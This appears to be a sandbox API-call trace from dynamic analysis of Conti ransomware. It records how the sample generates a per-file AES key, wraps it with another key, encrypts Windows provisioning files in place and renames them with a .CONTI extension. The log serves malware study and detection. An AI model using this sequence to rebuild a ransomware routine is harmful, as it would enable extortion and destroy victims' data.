	[0108.481] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.481] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.481] WriteFile (in: hFile=0x2f4, lpBuffer=0x17d368c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17d368c*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0108.485] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.485] ReadFile (in: hFile=0x2f4, lpBuffer=0xd030000, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x1e0, lpOverlapped=0x0) returned 1
	[0108.485] CryptEncrypt (in: hKey=0x17c7ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x1e0, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x1f0) returned 1
	[0108.485] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.485] WriteFile (in: hFile=0x2f4, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x1f0, lpOverlapped=0x0) returned 1
	[0108.485] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.485] WriteFile (in: hFile=0x2f4, lpBuffer=0x17d3680*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17d3680*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0108.485] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.485] CloseHandle (hObject=0x2f4) returned 1
	[0108.578] GetProcessHeap () returned 0x1720000
	[0108.578] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.578] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0108.578] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0108.578] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\156__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\156__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0108.579] GetProcessHeap () returned 0x1720000
	[0108.579] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.579] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0108.579] GetProcessHeap () returned 0x1720000
	[0108.579] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3ee8 | out: hHeap=0x1720000) returned 1
	[0108.579] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0108.966] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6513090 | out: phKey=0x6513090*=0x17c84f0) returned 1
	[0108.966] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6513094, pdwDataLen=0x497fc1c | out: pbData=0x6513094*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0108.967] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\209__connections_cellular_orange (israel)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.164] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\209__connections_cellular_orange (israel)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8
	[0110.165] GetLastError () returned 0x0
	[0110.165] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=712) returned 1
	[0110.165] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c8
	[0110.165] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.165] SetEndOfFile (hFile=0x3e8) returned 1
	[0110.436] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.436] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.436] WriteFile (in: hFile=0x3e8, lpBuffer=0x6513094*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x6513094*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0110.450] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.450] ReadFile (in: hFile=0x3e8, lpBuffer=0xd030000, nNumberOfBytesToRead=0x2c8, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x2c8, lpOverlapped=0x0) returned 1
	[0110.450] CryptEncrypt (in: hKey=0x17c84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2c8, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2d0) returned 1
	[0110.450] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.450] WriteFile (in: hFile=0x3e8, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x2d0, lpOverlapped=0x0) returned 1
	[0110.450] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.450] WriteFile (in: hFile=0x3e8, lpBuffer=0x6513088*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x6513088*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0110.451] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.451] CloseHandle (hObject=0x3e8) returned 1
	[0110.451] GetProcessHeap () returned 0x1720000
	[0110.451] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.977] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml"
	[0110.977] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.977] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\209__connections_cellular_orange (israel)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\209__connections_cellular_orange (israel)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.977] GetProcessHeap () returned 0x1720000
	[0110.977] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.977] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0110.977] GetProcessHeap () returned 0x1720000
	[0110.977] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6589620 | out: hHeap=0x1720000) returned 1
	[0110.977] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0110.978] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6571840 | out: phKey=0x6571840*=0x17c7eb0) returned 1
	[0110.978] CryptExportKey (in: hKey=0x17c7eb0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6571844, pdwDataLen=0x497fc1c | out: pbData=0x6571844*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0110.978] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\383__connections_cellular_mobileone (singapore)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0110.984] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\383__connections_cellular_mobileone (singapore)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0110.984] GetLastError () returned 0x0
	[0110.984] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=723) returned 1
	[0110.984] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d3
	[0110.984] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.984] SetEndOfFile (hFile=0x308) returned 1
	[0110.984] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.984] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.984] WriteFile (in: hFile=0x308, lpBuffer=0x6571844*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x6571844*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0111.314] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.314] ReadFile (in: hFile=0x308, lpBuffer=0xd030000, nNumberOfBytesToRead=0x2d3, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x2d3, lpOverlapped=0x0) returned 1
	[0111.314] CryptEncrypt (in: hKey=0x17c7eb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2d3, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2e0) returned 1
	[0111.314] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.314] WriteFile (in: hFile=0x308, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x2e0, lpOverlapped=0x0) returned 1
	[0111.314] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.314] WriteFile (in: hFile=0x308, lpBuffer=0x6571838*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x6571838*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0111.314] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.314] CloseHandle (hObject=0x308) returned 1
	[0111.446] GetProcessHeap () returned 0x1720000
	[0111.446] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.544] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml"
	[0111.544] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml.CONTI"
	[0111.544] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\383__connections_cellular_mobileone (singapore)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\383__connections_cellular_mobileone (singapore)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0111.545] GetProcessHeap () returned 0x1720000
	[0111.545] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.545] CryptDestroyKey (hKey=0x17c7eb0) returned 1
	[0111.545] GetProcessHeap () returned 0x1720000
	[0111.546] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656dc38 | out: hHeap=0x1720000) returned 1
	[0111.546] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0111.546] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17f5920 | out: phKey=0x17f5920*=0x17c8570) returned 1
	[0111.546] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f5924, pdwDataLen=0x497fc1c | out: pbData=0x17f5924*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0111.546] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\404__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0111.547] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\404__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0111.548] GetLastError () returned 0x0
	[0111.548] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=513) returned 1
	[0111.548] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x201
	[0111.548] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.548] SetEndOfFile (hFile=0x3a8) returned 1
	[0111.548] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.548] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.548] WriteFile (in: hFile=0x3a8, lpBuffer=0x17f5924*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17f5924*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0111.553] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.553] ReadFile (in: hFile=0x3a8, lpBuffer=0xd030000, nNumberOfBytesToRead=0x201, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x201, lpOverlapped=0x0) returned 1
	[0111.553] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x201, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x210) returned 1
	[0111.553] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.553] WriteFile (in: hFile=0x3a8, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x210, lpOverlapped=0x0) returned 1
	[0111.554] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.554] WriteFile (in: hFile=0x3a8, lpBuffer=0x17f5918*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17f5918*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0111.554] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.554] CloseHandle (hObject=0x3a8) returned 1
	[0111.554] GetProcessHeap () returned 0x1720000
	[0111.554] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.554] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0111.554] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0111.554] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\404__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\404__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0111.555] GetProcessHeap () returned 0x1720000
	[0111.555] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.555] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0111.555] GetProcessHeap () returned 0x1720000
